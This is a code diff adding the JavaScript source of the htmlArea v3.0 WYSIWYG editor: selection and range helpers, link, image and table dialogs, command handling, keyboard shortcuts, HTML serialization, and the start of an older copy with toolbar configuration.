+ return range.item(0).parentElement;
+ default:
+ return this._doc.body;
+ }
+ } else try {
+ var p = range.commonAncestorContainer;
+ if (!range.collapsed && range.startContainer == range.endContainer &&
+ range.startOffset - range.endOffset <= 1 && range.startContainer.hasChildNodes())
+ p = range.startContainer.childNodes[range.startOffset];
+ /*
+ alert(range.startContainer + ":" + range.startOffset + "\n" +
+ range.endContainer + ":" + range.endOffset);
+ */
+ while (p.nodeType == 3) {
+ p = p.parentNode;
+ }
+ return p;
+ } catch (e) {
+ return null;
+ }
+};
+
+// Returns an array with all the ancestor nodes of the selection.
+HTMLArea.prototype.getAllAncestors = function() {
+ var p = this.getParentElement();
+ var a = [];
+ while (p && (p.nodeType == 1) && (p.tagName.toLowerCase() != 'body')) {
+ a.push(p);
+ p = p.parentNode;
+ }
+ a.push(this._doc.body);
+ return a;
+};
+
+// Selects the contents inside the given node
+HTMLArea.prototype.selectNodeContents = function(node, pos) {
+ this.focusEditor();
+ this.forceRedraw();
+ var range;
+ var collapsed = (typeof pos != "undefined");
+ if (HTMLArea.is_ie) {
+ range = this._doc.body.createTextRange();
+ range.moveToElementText(node);
+ (collapsed) && range.collapse(pos);
+ range.select();
+ } else {
+ var sel = this._getSelection();
+ range = this._doc.createRange();
+ range.selectNodeContents(node);
+ (collapsed) && range.collapse(pos);
+ sel.removeAllRanges();
+ sel.addRange(range);
+ }
+};
+
+/** Call this function to insert HTML code at the current position. It deletes
+ * the selection, if any.
+ */
+HTMLArea.prototype.insertHTML = function(html) {
+ var sel = this._getSelection();
+ var range = this._createRange(sel);
+ if (HTMLArea.is_ie) {
+ range.pasteHTML(html);
+ } else {
+ // construct a new document fragment with the given HTML
+ var fragment = this._doc.createDocumentFragment();
+ var div = this._doc.createElement("div");
+ div.innerHTML = html;
+ while (div.firstChild) {
+ // the following call also removes the node from div
+ fragment.appendChild(div.firstChild);
+ }
+ // this also removes the selection
+ var node = this.insertNodeAtSelection(fragment);
+ }
+};
+
+/**
+ * Call this function to surround the existing HTML code in the selection with
+ * your tags. FIXME: buggy! This function will be deprecated "soon".
+ */
+HTMLArea.prototype.surroundHTML = function(startTag, endTag) {
+ var html = this.getSelectedHTML();
+ // the following also deletes the selection
+ this.insertHTML(startTag + html + endTag);
+};
+
+/// Retrieve the selected block
+HTMLArea.prototype.getSelectedHTML = function() {
+ var sel = this._getSelection();
+ var range = this._createRange(sel);
+ var existing = null;
+ if (HTMLArea.is_ie) {
+ existing = range.htmlText;
+ } else {
+ existing = HTMLArea.getHTML(range.cloneContents(), false, this);
+ }
+ return existing;
+};
+
+/// Return true if we have some selection
+HTMLArea.prototype.hasSelectedText = function() {
+ // FIXME: come _on_ mishoo, you can do better than this ;-)
+ return this.getSelectedHTML() != '';
+};
+
+HTMLArea.prototype._createLink = function(link) {
+ var editor = this;
+ var outparam = null;
+ if (typeof link == "undefined") {
+ link = this.getParentElement();
+ // if (link && !/^a$/i.test(link.tagName))
+ // link = null;
+ if (link) {
+ if (/img/i.test(link.tagName))
+ link = link.parentNode;
+ if (!/^a$/i.test(link.tagName))
+ link = null;
+ }
+ }
+// Inserted to pick up tag around img. bsutton
+ if (link && /img/i.test(link.tagName))
+ link = link.parentNode;
+// End insert
+ if (link) outparam = {
+ f_href : HTMLArea.is_ie ? link.href : link.getAttribute("href"),
+ f_title : link.title,
+ f_target : link.target
+ };
+ this._popupDialog("link.html", function(param) {
+ if (!param)
+ return false;
+ var a = link;
+ if (!a) try {
+ editor._doc.execCommand("createlink", false, param.f_href);
+ a = editor.getParentElement();
+ var sel = editor._getSelection();
+ var range = editor._createRange(sel);
+ if (!HTMLArea.is_ie) {
+ a = range.startContainer;
+ if (!/^a$/i.test(a.tagName)) {
+ a = a.nextSibling;
+ if (a == null)
+ a = range.startContainer.parentNode;
+ }
+ }
+ } catch(e) {}
+ else {
+ var href = param.f_href.trim();
+ editor.selectNodeContents(a);
+ if (href == "") {
+ editor._doc.execCommand("unlink", false, null);
+ editor.updateToolbar();
+ return false;
+ }
+ else {
+ a.href = href;
+ }
+ }
+ if (!(a && /^a$/i.test(a.tagName)))
+ return false;
+ a.target = param.f_target.trim();
+ a.title = param.f_title.trim();
+ editor.selectNodeContents(a);
+ editor.updateToolbar();
+ }, outparam);
+};
+
+// Called when the user clicks on "InsertImage" button. If an image is already
+// there, it will just modify it's properties.
+HTMLArea.prototype._insertImage = function(image) {
+ var editor = this; // for nested functions
+ var outparam = null;
+ if (typeof image == "undefined") {
+ image = this.getParentElement();
+ if (image && !/^img$/i.test(image.tagName))
+ image = null;
+ }
+ if (image) outparam = {
+ f_url : HTMLArea.is_ie ? image.src : image.getAttribute("src"),
+ f_alt : image.alt,
+ f_border : image.border,
+ f_align : image.align,
+ f_vert : image.vspace,
+ f_horiz : image.hspace
+ };
+ this._popupDialog("insert_image.html", function(param) {
+ if (!param) { // user must have pressed Cancel
+ return false;
+ }
+ var img = image;
+ if (!img) {
+ var sel = editor._getSelection();
+ var range = editor._createRange(sel);
+ editor._doc.execCommand("insertimage", false, param.f_url);
+ if (HTMLArea.is_ie) {
+ img = range.parentElement();
+ // wonder if this works...
+ if (img.tagName.toLowerCase() != "img") {
+ img = img.previousSibling;
+ }
+ } else {
+ img = range.startContainer.previousSibling;
+ }
+ } else {
+ img.src = param.f_url;
+ }
+
+ for (field in param) {
+ var value = param[field];
+ switch (field) {
+ case "f_alt" : img.alt = value; break;
+ case "f_border" : img.border = parseInt(value || "0"); break;
+ case "f_align" : img.align = value; break;
+ case "f_vert" : img.vspace = parseInt(value || "0"); break;
+ case "f_horiz" : img.hspace = parseInt(value || "0"); break;
+ }
+ }
+ }, outparam);
+};
+
+// Called when the user clicks the Insert Table button
+HTMLArea.prototype._insertTable = function() {
+ var sel = this._getSelection();
+ var range = this._createRange(sel);
+ var editor = this; // for nested functions
+ this._popupDialog("insert_table.html", function(param) {
+ if (!param) { // user must have pressed Cancel
+ return false;
+ }
+ var doc = editor._doc;
+ // create the table element
+ var table = doc.createElement("table");
+ // assign the given arguments
+
+ for (var field in param) {
+ var value = param[field];
+ if (!value) {
+ continue;
+ }
+ switch (field) {
+ case "f_width" : table.style.width = value + param["f_unit"]; break;
+ case "f_align" : table.align = value; break;
+ case "f_border" : table.border = parseInt(value); break;
+ case "f_spacing" : table.cellSpacing = parseInt(value); break;
+ case "f_padding" : table.cellPadding = parseInt(value); break;
+ }
+ }
+ var tbody = doc.createElement("tbody");
+ table.appendChild(tbody);
+ for (var i = 0; i < param["f_rows"]; ++i) {
+ var tr = doc.createElement("tr");
+ tbody.appendChild(tr);
+ for (var j = 0; j < param["f_cols"]; ++j) {
+ var td = doc.createElement("td");
+ tr.appendChild(td);
+ // Mozilla likes to see something inside the cell.
+ (HTMLArea.is_gecko) && td.appendChild(doc.createElement("br"));
+ }
+ }
+ if (HTMLArea.is_ie) {
+ range.pasteHTML(table.outerHTML);
+ } else {
+ // insert the table
+ editor.insertNodeAtSelection(table);
+ }
+ return true;
+ }, null);
+};
+
+/***************************************************
+ * Category: EVENT HANDLERS
+ ***************************************************/
+
+// el is reference to the SELECT object
+// txt is the name of the select field, as in config.toolbar
+HTMLArea.prototype._comboSelected = function(el, txt) {
+ this.focusEditor();
+ var value = el.options[el.selectedIndex].value;
+ switch (txt) {
+ case "fontname":
+ case "fontsize": this.execCommand(txt, false, value); break;
+ case "formatblock":
+ (HTMLArea.is_ie) && (value = "<" + value + ">");
+ this.execCommand(txt, false, value);
+ break;
+ default:
+ // try to look it up in the registered dropdowns
+ var dropdown = this.config.customSelects[txt];
+ if (typeof dropdown != "undefined") {
+ dropdown.action(this);
+ } else {
+ alert("FIXME: combo box " + txt + " not implemented");
+ }
+ }
+};
+
+// the execCommand function (intercepts some commands and replaces them with
+// our own implementation)
+HTMLArea.prototype.execCommand = function(cmdID, UI, param) {
+ var editor = this; // for nested functions
+ this.focusEditor();
+ cmdID = cmdID.toLowerCase();
+ switch (cmdID) {
+ case "htmlmode" : this.setMode(); break;
+ case "hilitecolor":
+ (HTMLArea.is_ie) && (cmdID = "backcolor");
+ case "forecolor":
+ this._popupDialog("select_color.html", function(color) {
+ if (color) { // selection not canceled
+ editor._doc.execCommand(cmdID, false, "#" + color);
+ }
+ }, HTMLArea._colorToRgb(this._doc.queryCommandValue(cmdID)));
+ break;
+ case "createlink":
+ this._createLink();
+ break;
+ case "popupeditor":
+ // this object will be passed to the newly opened window
+ HTMLArea._object = this;
+ if (HTMLArea.is_ie) {
+ //if (confirm(HTMLArea.I18N.msg["IE-sucks-full-screen"]))
+ {
+ window.open(this.popupURL("fullscreen.html"), "ha_fullscreen",
+ "toolbar=no,location=no,directories=no,status=no,menubar=no," +
+ "scrollbars=no,resizable=yes,width=640,height=480");
+ }
+ } else {
+ window.open(this.popupURL("fullscreen.html"), "ha_fullscreen",
+ "toolbar=no,menubar=no,personalbar=no,width=640,height=480," +
+ "scrollbars=no,resizable=yes");
+ }
+ break;
+ case "undo":
+ case "redo":
+ if (this._customUndo)
+ this[cmdID]();
+ else
+ this._doc.execCommand(cmdID, UI, param);
+ break;
+ case "inserttable": this._insertTable(); break;
+ case "insertimage": this._insertImage(); break;
+ case "about" : this._popupDialog("about.html", null, this); break;
+ case "showhelp" : window.open(_editor_url + "reference.html", "ha_help"); break;
+
+ case "killword": this._wordClean(); break;
+
+ case "cut":
+ case "copy":
+ case "paste":
+ try {
+ this._doc.execCommand(cmdID, UI, param);
+ if (this.config.killWordOnPaste)
+ this._wordClean();
+ } catch (e) {
+ if (HTMLArea.is_gecko) {
+ if (typeof HTMLArea.I18N.msg["Moz-Clipboard"] == "undefined") {
+ HTMLArea.I18N.msg["Moz-Clipboard"] =
+ "Unprivileged scripts cannot access Cut/Copy/Paste programatically " +
+ "for security reasons. Click OK to see a technical note at mozilla.org " +
+ "which shows you how to allow a script to access the clipboard.\n\n" +
+ "[FIXME: please translate this message in your language definition file.]";
+ }
+ if (confirm(HTMLArea.I18N.msg["Moz-Clipboard"]))
+ window.open("http://mozilla.org/editor/midasdemo/securityprefs.html");
+ }
+ }
+ break;
+ case "lefttoright":
+ case "righttoleft":
+ var dir = (cmdID == "righttoleft") ? "rtl" : "ltr";
+ var el = this.getParentElement();
+ while (el && !HTMLArea.isBlockElement(el))
+ el = el.parentNode;
+ if (el) {
+ if (el.style.direction == dir)
+ el.style.direction = "";
+ else
+ el.style.direction = dir;
+ }
+ break;
+ default: this._doc.execCommand(cmdID, UI, param);
+ }
+ this.updateToolbar();
+ return false;
+};
+
+/** A generic event handler for things that happen in the IFRAME's document.
+ * This function also handles key bindings. */
+HTMLArea.prototype._editorEvent = function(ev) {
+ var editor = this;
+ var keyEvent = (HTMLArea.is_ie && ev.type == "keydown") || (ev.type == "keypress");
+
+ if (keyEvent) {
+ for (var i in editor.plugins) {
+ var plugin = editor.plugins[i].instance;
+ if (typeof plugin.onKeyPress == "function") plugin.onKeyPress(ev);
+ }
+ }
+ if (keyEvent && ev.ctrlKey && !ev.altKey) {
+ var sel = null;
+ var range = null;
+ var key = String.fromCharCode(HTMLArea.is_ie ? ev.keyCode : ev.charCode).toLowerCase();
+ var cmd = null;
+ var value = null;
+ switch (key) {
+ case 'a':
+ if (!HTMLArea.is_ie) {
+ // KEY select all
+ sel = this._getSelection();
+ sel.removeAllRanges();
+ range = this._createRange();
+ range.selectNodeContents(this._doc.body);
+ sel.addRange(range);
+ HTMLArea._stopEvent(ev);
+ }
+ break;
+
+ // simple key commands follow
+
+ case 'b': cmd = "bold"; break;
+ case 'i': cmd = "italic"; break;
+ case 'u': cmd = "underline"; break;
+ case 's': cmd = "strikethrough"; break;
+ case 'l': cmd = "justifyleft"; break;
+ case 'e': cmd = "justifycenter"; break;
+ case 'r': cmd = "justifyright"; break;
+ case 'j': cmd = "justifyfull"; break;
+ case 'z': cmd = "undo"; break;
+ case 'y': cmd = "redo"; break;
+ case 'v': cmd = "paste"; break;
+
+ case '0': cmd = "killword"; break;
+
+ // headings
+ case '1':
+ case '2':
+ case '3':
+ case '4':
+ case '5':
+ case '6':
+ cmd = "formatblock";
+ value = "h" + key;
+ if (HTMLArea.is_ie) {
+ value = "<" + value + ">";
+ }
+ break;
+ }
+ if (cmd) {
+ // execute simple command
+ this.execCommand(cmd, false, value);
+ HTMLArea._stopEvent(ev);
+ }
+ }
+ /*
+ else if (keyEvent) {
+ // other keys here
+ switch (ev.keyCode) {
+ case 13: // KEY enter
+ // if (HTMLArea.is_ie) {
+ this.insertHTML("<br />");
+ HTMLArea._stopEvent(ev);
+ // }
+ break;
+ }
+ }
+ */
+ // update the toolbar state after some time
+ if (editor._timerToolbar) {
+ clearTimeout(editor._timerToolbar);
+ }
+ editor._timerToolbar = setTimeout(function() {
+ editor.updateToolbar();
+ editor._timerToolbar = null;
+ }, 50);
+};
+
+// retrieve the HTML
+HTMLArea.prototype.getHTML = function() {
+ switch (this._editMode) {
+ case "wysiwyg" :
+ if (!this.config.fullPage) {
+ return HTMLArea.getHTML(this._doc.body, false, this);
+ } else
+ return this.doctype + "\n" + HTMLArea.getHTML(this._doc.documentElement, true, this);
+ case "textmode" : return this._textArea.value;
+ default : alert("Mode <" + mode + "> not defined!");
+ }
+ return false;
+};
+
+// retrieve the HTML (fastest version, but uses innerHTML)
+HTMLArea.prototype.getInnerHTML = function() {
+ switch (this._editMode) {
+ case "wysiwyg" :
+ if (!this.config.fullPage)
+ return this._doc.body.innerHTML;
+ else
+ return this.doctype + "\n" + this._doc.documentElement.innerHTML;
+ case "textmode" : return this._textArea.value;
+ default : alert("Mode <" + mode + "> not defined!");
+ }
+ return false;
+};
+
+// completely change the HTML inside
+HTMLArea.prototype.setHTML = function(html) {
+ switch (this._editMode) {
+ case "wysiwyg" :
+ if (!this.config.fullPage)
+ this._doc.body.innerHTML = html;
+ else
+ // this._doc.documentElement.innerHTML = html;
+ this._doc.body.innerHTML = html;
+ break;
+ case "textmode" : this._textArea.value = html; break;
+ default : alert("Mode <" + mode + "> not defined!");
+ }
+ return false;
+};
+
+// sets the given doctype (useful when config.fullPage is true)
+HTMLArea.prototype.setDoctype = function(doctype) {
+ this.doctype = doctype;
+};
+
+/***************************************************
+ * Category: UTILITY FUNCTIONS
+ ***************************************************/
+
+// browser identification
+
+HTMLArea.agt = navigator.userAgent.toLowerCase();
+HTMLArea.is_ie = ((HTMLArea.agt.indexOf("msie") != -1) && (HTMLArea.agt.indexOf("opera") == -1));
+HTMLArea.is_opera = (HTMLArea.agt.indexOf("opera") != -1);
+HTMLArea.is_mac = (HTMLArea.agt.indexOf("mac") != -1);
+HTMLArea.is_mac_ie = (HTMLArea.is_ie && HTMLArea.is_mac);
+HTMLArea.is_win_ie = (HTMLArea.is_ie && !HTMLArea.is_mac);
+HTMLArea.is_gecko = (navigator.product == "Gecko");
+
+// variable used to pass the object to the popup editor window.
+HTMLArea._object = null;
+
+// function that returns a clone of the given object
+HTMLArea.cloneObject = function(obj) {
+ var newObj = new Object;
+
+ // check for array objects
+ if (obj.constructor.toString().indexOf("function Array(") == 1) {
+ newObj = obj.constructor();
+ }
+
+ // check for function objects (as usual, IE is fucked up)
+ if (obj.constructor.toString().indexOf("function Function(") == 1) {
+ newObj = obj; // just copy reference to it
+ } else for (var n in obj) {
+ var node = obj[n];
+ if (typeof node == 'object') { newObj[n] = HTMLArea.cloneObject(node); }
+ else { newObj[n] = node; }
+ }
+
+ return newObj;
+};
+
+// FIXME!!! this should return false for IE < 5.5
+HTMLArea.checkSupportedBrowser = function() {
+ if (HTMLArea.is_gecko) {
+ if (navigator.productSub < 20021201) {
+ alert("You need at least Mozilla-1.3 Alpha.\n" +
+ "Sorry, your Gecko is not supported.");
+ return false;
+ }
+ if (navigator.productSub < 20030210) {
+ alert("Mozilla < 1.3 Beta is not supported!\n" +
+ "I'll try, though, but it might not work.");
+ }
+ }
+ return HTMLArea.is_gecko || HTMLArea.is_ie;
+};
+
+// selection & ranges
+
+// returns the current selection object
+HTMLArea.prototype._getSelection = function() {
+ if (HTMLArea.is_ie) {
+ return this._doc.selection;
+ } else {
+ return this._iframe.contentWindow.getSelection();
+ }
+};
+
+// returns a range for the current selection
+HTMLArea.prototype._createRange = function(sel) {
+ if (HTMLArea.is_ie) {
+ return sel.createRange();
+ } else {
+ this.focusEditor();
+ if (typeof sel != "undefined") {
+ try {
+ return sel.getRangeAt(0);
+ } catch(e) {
+ return this._doc.createRange();
+ }
+ } else {
+ return this._doc.createRange();
+ }
+ }
+};
+
+// event handling
+
+HTMLArea._addEvent = function(el, evname, func) {
+ if (HTMLArea.is_ie) {
+ el.attachEvent("on" + evname, func);
+ } else {
+ el.addEventListener(evname, func, true);
+ }
+};
+
+HTMLArea._addEvents = function(el, evs, func) {
+ for (var i in evs) {
+ HTMLArea._addEvent(el, evs[i], func);
+ }
+};
+
+HTMLArea._removeEvent = function(el, evname, func) {
+ if (HTMLArea.is_ie) {
+ el.detachEvent("on" + evname, func);
+ } else {
+ el.removeEventListener(evname, func, true);
+ }
+};
+
+HTMLArea._removeEvents = function(el, evs, func) {
+ for (var i in evs) {
+ HTMLArea._removeEvent(el, evs[i], func);
+ }
+};
+
+HTMLArea._stopEvent = function(ev) {
+ if (HTMLArea.is_ie) {
+ ev.cancelBubble = true;
+ ev.returnValue = false;
+ } else {
+ ev.preventDefault();
+ ev.stopPropagation();
+ }
+};
+
+HTMLArea._removeClass = function(el, className) {
+ if (!(el && el.className)) {
+ return;
+ }
+ var cls = el.className.split(" ");
+ var ar = new Array();
+ for (var i = cls.length; i > 0;) {
+ if (cls[--i] != className) {
+ ar[ar.length] = cls[i];
+ }
+ }
+ el.className = ar.join(" ");
+};
+
+HTMLArea._addClass = function(el, className) {
+ // remove the class first, if already there
+ HTMLArea._removeClass(el, className);
+ el.className += " " + className;
+};
+
+HTMLArea._hasClass = function(el, className) {
+ if (!(el && el.className)) {
+ return false;
+ }
+ var cls = el.className.split(" ");
+ for (var i = cls.length; i > 0;) {
+ if (cls[--i] == className) {
+ return true;
+ }
+ }
+ return false;
+};
+
+HTMLArea.isBlockElement = function(el) {
+ var blockTags = " body form textarea fieldset ul ol dl li div " +
+ "p h1 h2 h3 h4 h5 h6 quote pre table thead " +
+ "tbody tfoot tr td iframe address ";
+ return (blockTags.indexOf(" " + el.tagName.toLowerCase() + " ") != -1);
+};
+
+HTMLArea.needsClosingTag = function(el) {
+ var closingTags = " head script style div span tr td tbody table em strong font a title ";
+ return (closingTags.indexOf(" " + el.tagName.toLowerCase() + " ") != -1);
+};
+
+// performs HTML encoding of some given string
+HTMLArea.htmlEncode = function(str) {
+ // we don't need regexp for that, but.. so be it for now.
+ str = str.replace(/&/ig, "&");
+ str = str.replace(/</ig, "<");
+ str = str.replace(/>/ig, ">");
+ str = str.replace(/\x22/ig, """);
+ // \x22 means '"' -- we use hex reprezentation so that we don't disturb
+ // JS compressors (well, at least mine fails.. ;)
+ return str;
+};
+
+// Retrieves the HTML code from the given node. This is a replacement for
+// getting innerHTML, using standard DOM calls.
+HTMLArea.getHTML = function(root, outputRoot, editor) {
+ var html = "";
+ switch (root.nodeType) {
+ case 1: // Node.ELEMENT_NODE
+ case 11: // Node.DOCUMENT_FRAGMENT_NODE
+ var closed;
+ var i;
+ var root_tag = (root.nodeType == 1) ? root.tagName.toLowerCase() : '';
+ if (HTMLArea.is_ie && root_tag == "head") {
+ if (outputRoot)
+ html += "<head>";
+ // lowercasize
+ var save_multiline = RegExp.multiline;
+ RegExp.multiline = true;
+ var txt = root.innerHTML.replace(HTMLArea.RE_tagName, function(str, p1, p2) {
+ return p1 + p2.toLowerCase();
+ });
+ RegExp.multiline = save_multiline;
+ html += txt;
+ if (outputRoot)
+ html += "</head>";
+ break;
+ } else if (outputRoot) {
+ closed = (!(root.hasChildNodes() || HTMLArea.needsClosingTag(root)));
+ html = "<" + root.tagName.toLowerCase();
+ var attrs = root.attributes;
+ for (i = 0; i < attrs.length; ++i) {
+ var a = attrs.item(i);
+ if (!a.specified) {
+ continue;
+ }
+ var name = a.nodeName.toLowerCase();
+ if (/_moz_editor_bogus_node/.test(name)) {
+ html = "";
+ break;
+ }
+ if (/_moz|contenteditable|_msh/.test(name)) {
+ // avoid certain attributes
+ continue;
+ }
+ var value;
+ if (name != "style") {
+ // IE5.5 reports 25 when cellSpacing is
+ // 1; other values might be doomed too.
+ // For this reason we extract the
+ // values directly from the root node.
+ // I'm starting to HATE JavaScript
+ // development. Browser differences
+ // suck.
+ //
+ // Using Gecko the values of href and src are converted to absolute links
+ // unless we get them using nodeValue()
+ if (typeof root[a.nodeName] != "undefined" && name != "href" && name != "src") {
+ value = root[a.nodeName];
+ } else {
+ value = a.nodeValue;
+ // IE seems not willing to return the original values - it converts to absolute
+ // links using a.nodeValue, a.value, a.stringValue, root.getAttribute("href")
+ // So we have to strip the baseurl manually -/
+ if (HTMLArea.is_ie && (name == "href" || name == "src")) {
+ value = value;
+ }
+ }
+ } else { // IE fails to put style in attributes list
+ // FIXME: cssText reported by IE is UPPERCASE
+ value = root.style.cssText;
+ }
+ if (/(_moz|^$)/.test(value)) {
+ // Mozilla reports some special tags
+ // here; we don't need them.
+ continue;
+ }
+ html += " " + name + '="' + value + '"';
+ }
+ if (html != "") {
+ html += closed ? " />" : ">";
+ }
+ }
+ for (i = root.firstChild; i; i = i.nextSibling) {
+ html += HTMLArea.getHTML(i, true, editor);
+ }
+ if (outputRoot && !closed) {
+ html += "</" + root.tagName.toLowerCase() + ">";
+ }
+ break;
+ case 3: // Node.TEXT_NODE
+ // If a text node is alone in an element and all spaces, replace it with an non breaking one
+ // This partially undoes the damage done by moz, which translates ' 's into spaces in the data element
+ if ( !root.previousSibling && !root.nextSibling && root.data.match(/^\s*$/i) ) html = ' ';
+ else html = HTMLArea.htmlEncode(root.data);
+ break;
+ case 8: // Node.COMMENT_NODE
+ html = "<!--" + root.data + "-->";
+ break; // skip comments, for now.
+ }
+ return html;
+};
+
+HTMLArea.prototype.stripBaseURL = function(string) {
+ var baseurl = this.config.baseURL;
+
+ // strip to last directory in case baseurl points to a file
+ baseurl = baseurl.replace(/[^\/]+$/, '');
+ var basere = new RegExp(baseurl);
+ string = string.replace(basere, "");
+
+ // strip host-part of URL which is added by MSIE to links relative to server root
+ baseurl = baseurl.replace(/^(https?:\/\/[^\/]+)(.*)$/, '$1');
+ basere = new RegExp(baseurl);
+ return string.replace(basere, "");
+};
+
+String.prototype.trim = function() {
+ a = this.replace(/^\s+/, '');
+ return a.replace(/\s+$/, '');
+};
+
+// creates a rgb-style color from a number
+HTMLArea._makeColor = function(v) {
+ if (typeof v != "number") {
+ // already in rgb (hopefully); IE doesn't get here.
+ return v;
+ }
+ // IE sends number; convert to rgb.
+ var r = v & 0xFF;
+ var g = (v >> 8) & 0xFF;
+ var b = (v >> 16) & 0xFF;
+ return "rgb(" + r + "," + g + "," + b + ")";
+};
+
+// returns hexadecimal color representation from a number or a rgb-style color.
+HTMLArea._colorToRgb = function(v) {
+ if (!v)
+ return '';
+
+ // returns the hex representation of one byte (2 digits)
+ function hex(d) {
+ return (d < 16) ? ("0" + d.toString(16)) : d.toString(16);
+ };
+
+ if (typeof v == "number") {
+ // we're talking to IE here
+ var r = v & 0xFF;
+ var g = (v >> 8) & 0xFF;
+ var b = (v >> 16) & 0xFF;
+ return "#" + hex(r) + hex(g) + hex(b);
+ }
+
+ if (v.substr(0, 3) == "rgb") {
+ // in rgb(...) form -- Mozilla
+ var re = /rgb\s*\(\s*([0-9]+)\s*,\s*([0-9]+)\s*,\s*([0-9]+)\s*\)/;
+ if (v.match(re)) {
+ var r = parseInt(RegExp.$1);
+ var g = parseInt(RegExp.$2);
+ var b = parseInt(RegExp.$3);
+ return "#" + hex(r) + hex(g) + hex(b);
+ }
+ // doesn't match RE?! maybe uses percentages or float numbers
+ // -- FIXME: not yet implemented.
+ return null;
+ }
+
+ if (v.substr(0, 1) == "#") {
+ // already hex rgb (hopefully :D )
+ return v;
+ }
+
+ // if everything else fails ;)
+ return null;
+};
+
+// modal dialogs for Mozilla (for IE we're using the showModalDialog() call).
+
+// receives an URL to the popup dialog and a function that receives one value;
+// this function will get called after the dialog is closed, with the return
+// value of the dialog.
+HTMLArea.prototype._popupDialog = function(url, action, init) {
+ Dialog(this.popupURL(url), action, init);
+};
+
+// paths
+
+HTMLArea.prototype.imgURL = function(file, plugin) {
+ if (typeof plugin == "undefined")
+ return _editor_url + file;
+ else
+ return _editor_url + "plugins/" + plugin + "/img/" + file;
+};
+
+HTMLArea.prototype.popupURL = function(file) {
+ var url = "";
+ if (file.match(/^plugin:\/\/(.*?)\/(.*)/)) {
+ var plugin = RegExp.$1;
+ var popup = RegExp.$2;
+ if (!/\.html$/.test(popup))
+ popup += ".html";
+ url = _editor_url + "plugins/" + plugin + "/popups/" + popup;
+ } else
+ url = _editor_url + this.config.popupURL + file;
+ return url;
+};
+
+/**
+ * FIX: Internet Explorer returns an item having the _name_ equal to the given
+ * id, even if it's not having any id. This way it can return a different form
+ * field even if it's not a textarea. This workarounds the problem by
+ * specifically looking to search only elements having a certain tag name.
+ */
+HTMLArea.getElementById = function(tag, id) {
+ var el, i, objs = document.getElementsByTagName(tag);
+ for (i = objs.length; --i >= 0 && (el = objs[i]);)
+ if (el.id == id)
+ return el;
+ return null;
+};
+
+
+
+// EOF
+// Local variables: //
+// c-basic-offset:8 //
+// indent-tabs-mode:t //
+// End: //
--- /dev/null
+//
+// htmlArea v3.0 - Copyright (c) 2002 interactivetools.com, inc.
+// This copyright notice MUST stay intact for use (see license.txt).
+//
+// A free WYSIWYG editor replacement for <textarea> fields.
+// For full source code and docs, visit http://www.interactivetools.com/
+//
+// Version 3.0 developed by Mihai Bazon for InteractiveTools.
+// http://students.infoiasi.ro/~mishoo
+//
+// $Id: htmlareaold.js,v 1.1.1.1 2006/05/01 16:46:13 cscott Exp $
+
+// Creates a new HTMLArea object. Tries to replace the textarea with the given
+// ID with it.
+function HTMLArea(textarea, config) {
+ if (HTMLArea.checkSupportedBrowser()) {
+ if (typeof config == "undefined") {
+ this.config = new HTMLArea.Config();
+ } else {
+ this.config = config;
+ }
+ this._htmlArea = null;
+ this._textArea = textarea;
+ this._editMode = "wysiwyg";
+ this.plugins = {};
+ this._timerToolbar = null;
+ this._mdoc = document; // cache the document, we need it in plugins
+ }
+};
+
+HTMLArea.Config = function () {
+ this.version = "3.0";
+
+ this.width = "auto";
+ this.height = "auto";
+
+ // enable creation of a status bar?
+ this.statusBar = true;
+
+ // the next parameter specifies whether the toolbar should be included
+ // in the size or not.
+ this.sizeIncludesToolbar = true;
+
+ // style included in the iframe document
+ this.pageStyle = "body { background-color: #fff; font-family: verdana,sans-serif; }";
+ if (typeof _editor_url != "undefined") {
+ this.editorURL = _editor_url;
+ } else {
+ this.editorURL = "";
+ }
+
+ // URL-s
+ this.imgURL = "images/";
+ this.popupURL = "popups/";
+
+ // configuration for plugins
+ this.plugins = {};
+
+ /** CUSTOMIZING THE TOOLBAR
+ * -------------------------
+ *
+ * It is recommended that you customize the toolbar contents in an
+ * external file (i.e. the one calling HTMLArea) and leave this one
+ * unchanged. That's because when we (InteractiveTools.com) release a
+ * new official version, it's less likely that you will have problems
+ * upgrading HTMLArea.
+ */
+ this.toolbar = [
+ [ "fontname", "space",
+ "fontsize", "space",
+ "formatblock", "space",
+ "bold", "italic", "underline", "separator",
+ "strikethrough", "subscript", "superscript", "separator",
+ "copy", "cut", "paste", "space", "undo", "redo" ],
+
+ [ "justifyleft", "justifycenter", "justifyright", "justifyfull", "separator",
+ "insertorderedlist", "insertunorderedlist", "outdent", "indent", "separator",
+ "forecolor", "hilitecolor", "textindicator", "separator",
+ "inserthorizontalrule", "createlink", "insertimage", "inserttable", "htmlmode", "separator",
+ "popupeditor", "separator", "showhelp", "about" ]
+ ];
+
+ this.fontname = {
+ "Arial": 'arial,helvetica,sans-serif',
+ "Courier New": 'courier new,courier,monospace',
+ "Georgia": 'georgia,times new roman,times,serif',
+ "Tahoma": 'tahoma,arial,helvetica,sans-serif',
+ "Times New Roman": 'times new roman,times,serif',
+ "Verdana": 'verdana,arial,helvetica,sans-serif',
+ "impact": 'impact',
+ "WingDings": 'wingdings'
+ };
+
+ this.fontsize = {
+ "1 (8 pt)": "1",
+ "2 (10 pt)": "2",
+ "3 (12 pt)": "3",
+ "4 (14 pt)": "4",
+ "5 (18 pt)": "5",
+ "6 (24 pt)": "6",
+ "7 (36 pt)": "7"
+ };
+
+ this.formatblock = {
+ "Heading 1": "h1",
+ "Heading 2": "h2",
+ "Heading 3": "h3",
+ "Heading 4": "h4",
+ "Heading 5": "h5",
+ "Heading 6": "h6",
+ "Normal": "p",
+ "Address": "address",
+ "Formatted": "pre"
+ };
+
+ this.customSelects = {};
+
+ function cut_copy_paste(e, cmd, obj) {
+ try {
+ e.execCommand(cmd);
+ } catch (e) {
+ if (HTMLArea.is_gecko) {
+ alert("Some revisions of Mozilla/Gecko do not support programatic " +
+ "access to cut/copy/paste functions, for security reasons. " +
+ "Your browser is one of them. Please use the standard key combinations:\n" +
+ "CTRL-X for cut, CTRL-C for copy, CTRL-V for paste.");
+ obj.element.style.display = "none";
+ }
+ }
+ };
+
+ // ADDING CUSTOM BUTTONS: please read below!
+ // format of the btnList elements is "ID: [ ToolTip, Icon, Enabled in text mode?, ACTION ]"
+ // - ID: unique ID for the button. If the button calls document.execCommand
+ // it's wise to give it the same name as the called command.
+ // - ACTION: function that gets called when the button is clicked.
+ // it has the following prototype:
+ // function(editor, buttonName)
+ // - editor is the HTMLArea object that triggered the call
+ // - buttonName is the ID of the clicked button
+ // These 2 parameters makes it possible for you to use the same
+ // handler for more HTMLArea objects or for more different buttons.
